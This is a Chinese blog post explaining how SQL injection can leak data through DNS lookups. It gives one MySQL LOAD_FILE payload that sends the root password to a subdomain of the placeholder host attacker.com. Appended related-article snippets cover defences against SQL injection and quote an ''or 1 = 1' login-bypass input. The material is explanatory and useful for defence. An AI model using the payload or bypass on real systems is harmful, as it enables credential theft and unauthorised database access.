另一种的SQL注入和DNS结合的技巧

这个技巧有些另类,当时某业界大佬提点了一下。当时真的真的没有理解到那种程度,现在可能也是没有理解到,但是我会努力。

本文章是理解于:http://netsecurity.51cto.com/art/201503/469621.htm

链接中的文章主要说的是什么?

先愉快的介绍了DNS工作原理,注意其中有一个术语叫做递归。这个是DNS服务关键的一部分。

这种攻击方式需要提前能查看DNS日志,利用SQL注入语句返回信息,迫使DNS递归,然后DNS日志的记录。

日志中就有SQL注入返回信息了。

例如:

SELECT LOAD_FILE(CONCAT(‘\\\\‘,(SELECT password FROM mysql.user WHERE user=‘root‘? LIMIT 1),‘.attacker.com\\foobar‘));

返回了:\\\\返回值(password).attacker.com\\foobar。触发了DNS递归,导致日志记录。

时间: 2024-08-07 16:47:00

另一种的SQL注入和DNS结合的技巧的相关文章

[技巧篇]06.关于防止SQL注入的方式,不使用预处理

在一期,二期阶段,有一些同学,对于SQL语句总是使用字符串的拼接,这是一个比较坏的毛病,这样非常影响我们的程序的安全性,所以一般情况下我们都推荐预处理模式,针对这种模式希望不了解的同学去努力学习,下面我给大家介绍另一种防止SQL注入的方式,希望对你们有帮助! 应该说,您即使没有处理 HTML 或 JavaScript 的特殊字符,也不会带来灾难性的后果,但是如果不在动态构造 SQL 语句时对变量中特殊字符进行处理,将可能导致程序漏洞.数据盗取.数据破坏等严重的安全问题.网络中有大量讲解 SQL

Sql server之sql注入篇

SQL Injection 关于sql注入的危害在这里就不多做介绍了,相信大家也知道其中的厉害关系.这里有一些sql注入的事件大家感兴趣可以看一下 防范sql注入的方法无非有以下几种: 1.使用类型安全的SQL参数2.使用参数化输入存储过程3.使用参数集合与动态SQL4.输入滤波5.过滤LIKE条款的特殊字符 ...如果有遗漏的也欢迎园子的大大们指教. Sample: var Shipcity; ShipCity = Request.form ("ShipCity"); var sql

防止sql注入的三种方法

常用的避免SQL注入的三种方法 一,存储过程 在学习数据库视频的时候接触过,它是存储在数据库中的一些事先编译好的指令.在用的时候不用重新编写,直接调用就好了.所以,使用它可以大大提高程序的执行效率. 那么,如果创建一个存储程序并使用它呢?这是我们今天要解决的问题 1.创建过程 可编程性--下拉菜单--存储过程--右键--查询菜单--指定模板参数的值--新建查询--输入语句--查询菜单中的分析检查语法是否正确--执行 2.具体创建语法 在创建存储程序时,为了应对各种变换的数据,通常会涉及到带参数的

预处理(防止sql注入的一种方式)

<!--- 预处理(预编译) ---> <?php/* 防止 sql 注入的两种方式: 1. 人为提高代码的逻辑性,使其变得更严谨,滴水不漏. 比如说 增加判断条件,增加输入过滤等,但是智者千虑必有一失.(不推荐) 2. sql 语句的预处理*/ // 预处理: 就是在程序正式编译之前,事先处理,因为有些功能实现是一样的,只是发生了一些简单的值替换 /* ********** 预处理的原理: ********* insert into register_info values(?,?,?

网站mysql防止sql注入*** 3种方法总结

mysql数据库一直以来都遭受到sql注入***的影响,很多网站,包括目前的PC端以及手机端都在使用php+mysql数据库这种架构,大多数网站受到的***都是与sql注入***有关,那么mysql数据库如何防止sql注入呢?下面我们SINE安全技术针对于这个sql注入问题总结3种方案去防止sql注入***. sql注入产生的原因很简单,就是访问用户通过网站前端对网站可以输入参数的地方进行提交参数,参数里插入了一些恶意参数传入到服务器后端里去,服务器后端并没有对其进行详细的安全过滤,导致直接进入

Hibernate使用中防止SQL注入的几种方案

Hibernate使用中防止SQL注入的几种方案 Hibernate是一个开放源代码的对象关系映射框架,它对JDBC进行了非常轻量级的对象封装,使得Java程序员可以随心所欲的使用对象编程思维来操纵数据库. 在获取便利操作的同时,SQL的注入问题也值得我们的密切注意,下面就来谈谈几点如何避免SQL注入:    1.对参数名称进行绑定: 1 2 Query query=session.createQuery(hql); query.setString(“name”,name);        2.

php连接mysql的三种方式和预处理下的sql注入

0x00 前言 学习了一下堆叠注入和这三种连接方式预处理下的SQL注入问题. 0x01 基础知识 参考: https://www.cnblogs.com/joshua317/articles/5989781.html https://www.cnblogs.com/geaozhang/p/9891338.html 1.即时 SQL 一条 SQL 在 DB 接收到最终执行完毕返回,大致的过程如下: 1. 词法和语义解析: 2. 优化 SQL 语句,制定执行计划: 3. 执行并返回结果: 如上,一条

防止 jsp被sql注入的五种方法

一.SQL注入简介 SQL注入是比较常见的网络攻击方式之一,它不是利用操作系统的BUG来实现攻击,而是针对程序员编程时的疏忽,通过SQL语句,实现无帐号登录,甚至篡改数据库. 二.SQL注入攻击的总体思路 1.寻找到SQL注入的位置 2.判断服务器类型和后台数据库类型 3.针对不通的服务器和数据库特点进行SQL注入攻击 三.SQL注入攻击实例 比如在一个登录界面,要求输入用户名和密码: 可以这样输入实现免帐号登录: 用户名: ‘or 1 = 1 – 密 码: 点登陆,如若没有做特殊处理,那么这个

JDBC 删除数据两种方式,PreparedStatement表示预编译的 SQL 语句的对象,防止sql注入

1.statement使用的不方便 2.sql注入的问题 *  在SQL语句中使用了系统自带的关键字 or and ,让where条件判断失效 *   prepareStatement: *  1.sql语句不用在拼字符串 *  2.防止sql注入问题 1 public class CURDTest { 2 public static void main(String[] args) throws Exception { 3 //insertTest(); 4 //deleteTest(); 5